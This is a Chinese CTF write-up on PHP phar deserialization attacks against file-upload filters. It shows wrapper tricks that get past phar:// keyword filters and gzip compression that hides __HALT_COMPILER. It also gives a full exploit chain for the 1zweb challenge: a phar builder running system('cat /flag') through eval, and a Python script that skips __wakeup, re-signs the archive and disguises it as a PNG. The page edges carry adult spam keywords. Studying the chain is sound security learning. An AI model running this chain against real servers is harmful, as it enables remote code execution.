av一区二区在线观看_亚洲男人的天堂网站_日韩亚洲视频_在线成人免费_欧美日韩精品免费观看视频_久草视

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

phar繞過(guò)phar與HALT實(shí)現(xiàn)文件上傳功能

瀏覽:53日期:2022-06-06 11:46:45

前面也講過(guò)一次phar文件上傳的東西,但是那都是過(guò)濾比較低,僅僅過(guò)濾了后綴。

知道今天看到了一篇好的文章

如果過(guò)濾了phar這個(gè)偽造協(xié)議的話,那還是比較簡(jiǎn)單的

if(preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){

die(); }例如這樣進(jìn)行了過(guò)濾

繞過(guò)的話,我們可以用各種協(xié)議進(jìn)行繞過(guò)

1、php://filter/read=convert.base64-encode/resource=phar://test.phar

//即使用filter偽協(xié)議來(lái)進(jìn)行繞過(guò)

2、compress.bzip2://phar:///test.phar/test.txt

//使用bzip2協(xié)議來(lái)進(jìn)行繞過(guò)

3、compress.zlib://phar:///home/sx/test.phar/test.txt

//使用zlib協(xié)議進(jìn)行繞過(guò)

當(dāng)如果__HALT_COMPILER被過(guò)濾了

PHP通過(guò)__HALT_COMPILER來(lái)識(shí)別Phar文件,那么出于安全考慮,即為了防止Phar反序列化的出現(xiàn),可能就會(huì)對(duì)這個(gè)進(jìn)行過(guò)濾,示例代碼如下

因?yàn)閜har是通過(guò)這個(gè)來(lái)判斷是不是phar文件,而不是通過(guò)后綴來(lái)判斷,所以我們可以隨便的更改后綴而不會(huì)影響效果

這里的辦法:是將生成的Phar文件進(jìn)行g(shù)zip壓縮

gziptest.phar

cat test.phar.gz

例題: [NSSRound#4 SWPU]1zweb

打開(kāi)題目以后,第一眼只是覺(jué)得是上傳文件的漏洞,可是上傳都不太行。

讓我改變了一個(gè)思維,試了一下 /flag萬(wàn)一呢,eee

竟然出了,那就看看下一道進(jìn)階題,估計(jì)是出題人忽略了這個(gè)

[NSSRound#4 SWPU]1zweb(revenge)

這道題出題人就進(jìn)行了限制

因?yàn)槭乔疤岬囊粋€(gè)提示,所以我覺(jué)得也不會(huì)是單純的文件上傳漏洞

這時(shí)候試一下/etc/passwd,有沒(méi)有任意文件讀取漏洞,前面做過(guò)的一道題用到了這個(gè)。

果然有,那就讀取一下源碼index.php,和upload.php上傳文件

<?phpif ($_FILES["file"]["error"] > 0){    echo "上傳異常";}else{    $allowedExts = array("gif", "jpeg", "jpg", "png");    $temp = explode(".", $_FILES["file"]["name"]);    $extension = end($temp);    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){$content=file_get_contents($_FILES["file"]["tmp_name"]);$pos = strpos($content, "__HALT_COMPILER();");if(gettype($pos)==="integer"){    echo "ltj一眼就發(fā)現(xiàn)了phar";}else{    if (file_exists("./upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已經(jīng)存在";    }else{$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");fwrite($myfile, $content);fclose($myfile);echo "上傳成功 ./upload/".$_FILES["file"]["name"];    }}    }else{echo "dky不喜歡這個(gè)文件 .".$extension;    }}?>

限制了后綴只能是,gif,jpeg,jpg,png格式,并且過(guò)濾了HALT_COMPILER(), 所以這道題的考點(diǎn)就是繞過(guò)這個(gè)

<?phpclass LoveNss{    public $ljt;    public $dky;    public $cmd;    public function __construct(){$this->ljt="ljt";$this->dky="dky";phpinfo();    }    public function __destruct(){if($this->ljt==="Misc"&&$this->dky==="Re")    eval($this->cmd);    }    public function __wakeup(){$this->ljt="Re";$this->dky="Misc";    }}$file=$_POST["file"];if(isset($_POST["file"])){    if (preg_match("/flag/", $file)) {    	die("nonono");    }    echo file_get_contents($file);}

這個(gè)反序列化,是簡(jiǎn)單的,僅僅是繞過(guò)wakeup就可以,考點(diǎn)并不在這里,發(fā)現(xiàn)沒(méi)有serialize這個(gè)的參數(shù),而且有文件上傳并且file_get_contents可以觸發(fā)phar序列化,所以確定了需要phar.

這里就出現(xiàn)了一個(gè)問(wèn)題,phar如何繞過(guò)wakeup呢,如何把屬性值加1呢,我們先不考慮這些,先寫(xiě)出phar 文件來(lái)

<?phpclass LoveNss{    public $ljt;    public $dky;    public $cmd;    public function __construct(){$this->ljt="Misc";$this->dky="Re";$this->cmd="system("cat /flag");";    }}$phar = new Phar("quan9i.phar");$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ? >");$a = new LoveNss();$phar->setMetadata($a);$phar->addFromString("test.txt", "test");$phar->stopBuffering();?>

這個(gè)比較簡(jiǎn)單,就直接過(guò)了,然后就需要考慮我們以上的問(wèn)題了

import gzipfrom hashlib import sha1with open("D:\\phpstudy\\quan9i.phar", "rb") as file:    f = file.read()s = f[:-28] # 獲取要簽名的數(shù)據(jù)s = s.replace(b"3:{", b"4:{")#更換屬性值,繞過(guò)__wakeuph = f[-8:] # 獲取簽名類(lèi)型以及GBMB標(biāo)識(shí)newf = s + sha1(s).digest() + h # 數(shù)據(jù) + 簽名 + (類(lèi)型 + GBMB)#print(newf)newf = gzip.compress(newf) #對(duì)Phar文件進(jìn)行g(shù)zip壓縮with open("D:\\phpStudy\\newquanqi.png", "wb") as file:#更改文件后綴    file.write(newf)

找到我們生成phar的文件目錄,只讀

因?yàn)槲覀兏淖兞藀har里面的內(nèi)容,wakeup屬性值,所以需要重新生成一個(gè)標(biāo)簽

就會(huì)直接生成一個(gè)png的文件,我們直接上傳然后phar協(xié)議讀取

到此這篇關(guān)于phar繞過(guò)phar與HALT實(shí)現(xiàn)文件上傳功能的文章就介紹到這了,更多相關(guān)phar文件上傳內(nèi)容請(qǐng)搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持!

標(biāo)簽: PHP
主站蜘蛛池模板: 久久精品视频网 | 五月天婷婷影院 | 狠狠操狠狠操 | 日韩精品在线观看视频 | 成人免费视频国产免费麻豆 | 久久久久国产视频 | 在线一级片 | 日韩欧美在线一区二区 | 国产成人精品亚洲男人的天堂 | 黄色精品视频 | 日本在线免费观看 | 亚洲免费a | av免费观看网站 | 在线观看av片| 欧美久久综合 | 欧美精品国产 | 日韩精品久久 | 青青草精品视频 | 欧美第一页 | 免费网站av| 在线免费看a | 97超碰资源站 | 成人免费小视频 | 99久久精品国产一区二区三区 | 黄色a一级 | 国产三级视频 | 午夜在线免费观看 | 午夜免费观看视频 | 国产精品一区三区 | 日韩成人精品 | 一区二区免费 | 日韩视频在线播放 | 午夜精品影院 | 国产福利视频在线观看 | 操日本老女人 | 精品国产欧美一区二区三区成人 | 日韩精品欧美 | 日韩三级视频 | 91福利在线视频 | 国产精品2区 | 成人在线观看免费爱爱 |